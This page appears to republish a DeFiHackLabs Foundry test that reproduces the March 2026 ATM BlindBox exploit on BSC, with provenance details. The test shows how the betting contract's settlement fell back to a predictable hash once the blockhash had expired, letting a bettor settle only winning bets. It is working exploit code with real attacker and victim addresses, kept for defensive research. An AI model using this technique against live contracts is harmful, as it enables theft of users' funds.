Public reproduction file
src/test/2026-03/ATMBlindBox_exp.sol
Public reproduction file for dataset entry ATMBlindBox.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 13,000,000 ATM (~99,000 USD)8// Attacker : 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D9// Attack Contract : 0x9C1819640201f223596FaD4F6401900B4B732eeA10// Vulnerable Contract : 0x1F8336aEF584795E282FECe8DE356BaBD7734c5911// Victim : 0x1F8336aEF584795E282FECe8DE356BaBD7734c5912// Attack Tx : https://bscscan.com/tx/0xb74a572967ce997afa5920811e6a9dc8b82a6e41ee31fa4d1a24a85aec89e34214// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x1F8336aEF584795E282FECe8DE356BaBD7734c59#code17// @Analysis18// Twitter Guy : https://t.me/defimon_alerts/280819//20// ATM BlindBox let users choose when to settle bets. After blockhash(betBlock + 2) expired,21// settlement fell back to keccak256(block.prevrandao, betId, block.timestamp), which the22// attacker could evaluate before submitting a winning settlement.24address constant ATTACKER = 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D;25address constant HISTORICAL_ATTACK_CONTRACT = 0x9C1819640201f223596FaD4F6401900B4B732eeA;26address constant BLINDBOX = 0x1F8336aEF584795E282FECe8DE356BaBD7734c59;27address constant ATM_TOKEN = 0x9C86F45905868317baCB8f442653d5E9a6888888;28address constant DEAD = 0x000000000000000000000000000000000000dEaD;30interface IBlindBox {31 function nextBetId() external view returns (uint256);32 function cachedBlockHash(33 uint256 blockNumber34 ) external view returns (bytes32);35 function bets(36 uint256 betId37 ) external view returns (address user, uint256 amount, uint256 blockNum, uint256 oddDigit, bool settled);38 function settle(39 uint256 betId40 ) external;41}43contract ContractTest is BaseTestWithBalanceLog {44 IERC20 private constant atm = IERC20(ATM_TOKEN);45 IBlindBox private constant blindBox = IBlindBox(BLINDBOX);47 function setUp() public {48 uint256 forkBlock = 87_517_071;49 vm.createSelectFork("bsc", forkBlock);50 fundingToken = ATM_TOKEN;51 attacker = ATTACKER;53 vm.label(ATTACKER, "Attacker EOA");54 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack helper");55 vm.label(BLINDBOX, "ATM BlindBox");56 vm.label(ATM_TOKEN, "ATM");57 vm.label(DEAD, "ATM DEAD payout pool");58 }60 function testExploit() public balanceLog {61 ATMBlindBoxHelper helper = new ATMBlindBoxHelper(ATTACKER);63 // step 1: give the local helper the same large-bet capital as the delayed placement tx.64 uint256 largeBetAmount = 300_000 ether;65 deal(ATM_TOKEN, address(helper), largeBetAmount);66 assertGt(atm.balanceOf(DEAD), (largeBetAmount * 195) / 100, "DEAD payout balance");68 // step 2: place an even-parity large bet in the same block as the historical placement.69 vm.roll(87_517_072);70 vm.warp(1_773_931_227);71 uint256 expectedBetId = blindBox.nextBetId();72 assertEq(expectedBetId, 0x1410, "historical delayed bet id");74 vm.prank(ATTACKER, ATTACKER);75 helper.placeLargeBet(largeBetAmount);77 (, uint256 recordedAmount, uint256 betBlock, uint256 parity, bool settledBefore) = blindBox.bets(expectedBetId);78 assertEq(recordedAmount, largeBetAmount, "recorded bet amount");79 assertEq(betBlock, block.number, "recorded bet block");80 assertEq(parity, 0, "even parity");81 assertFalse(settledBefore, "bet should be open");83 // step 3: settle after the target blockhash has expired, using the actual winning fallback inputs.84 uint256 targetBlock = betBlock + 2;85 vm.roll(87_517_892);86 vm.warp(1_773_931_596);87 vm.prevrandao(bytes32(uint256(0x12c)));88 assertEq(block.number - targetBlock, 818, "target block age");89 assertEq(blockhash(targetBlock), bytes32(0), "expired target blockhash");91 bytes32 fallbackHash = keccak256(abi.encodePacked(block.prevrandao, expectedBetId, block.timestamp));92 assertEq(uint256(fallbackHash) % 16, 2, "winning even fallback digit");94 uint256 helperBeforeSettle = atm.balanceOf(address(helper));95 vm.prank(ATTACKER, ATTACKER);96 helper.settleBet(expectedBetId);98 uint256 largeBetPayout = (largeBetAmount * 195) / 100;99 assertEq(atm.balanceOf(address(helper)) - helperBeforeSettle, largeBetPayout, "large bet payout");100 assertEq(blindBox.cachedBlockHash(targetBlock), fallbackHash, "cached fallback hash");102 // step 4: forward the gained ATM to the attacker and assert net round profit over the staked ATM.103 uint256 attackerBeforeWithdraw = atm.balanceOf(ATTACKER);104 vm.prank(ATTACKER, ATTACKER);105 helper.withdrawATM();106 uint256 attackerReceived = atm.balanceOf(ATTACKER) - attackerBeforeWithdraw;107 assertGt(attackerReceived - largeBetAmount, 280_000 ether, "net ATM profit");108 }109}111contract ATMBlindBoxHelper {112 address private immutable owner;113 IERC20 private constant atm = IERC20(ATM_TOKEN);114 IBlindBox private constant blindBox = IBlindBox(BLINDBOX);116 constructor(117 address owner_118 ) {119 owner = owner_;120 }122 function placeLargeBet(123 uint256 amount124 ) external {125 require(msg.sender == owner, "only owner");126 atm.transfer(DEAD, amount);127 }129 function settleBet(130 uint256 betId131 ) external {132 require(msg.sender == owner, "only owner");133 blindBox.settle(betId);134 }136 function withdrawATM() external {137 require(msg.sender == owner, "only owner");138 atm.transfer(owner, atm.balanceOf(address(this)));139 }140}Analysis
Dataset entry
Public Foundry test for “ATMBlindBox” (2026-03-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3f9bd963641e969fc0c9ddf1c67e210e84915b7d
- Attack Contract
0x9c1819640201f223596fad4f6401900b4b732eea
- Vulnerable Contract
0x1f8336aef584795e282fece8de356babd7734c59
- Victim
0x1f8336aef584795e282fece8de356babd7734c59
- Attack Tx
0xb74a572967ce997afa5920811e6a9dc8b82a6e41ee31fa4d1a24a85aec89e342
File record
- Name
- ATMBlindBox
- Path
- src/test/2026-03/ATMBlindBox_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f292bc626764d591de4056644a3741cf4737d326
- Language
- Solidity
- Size
- 141 lines
- Date
- 2026-03-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/ATMBlindBox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f292bc626764d591de4056644a3741cf4737d326, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.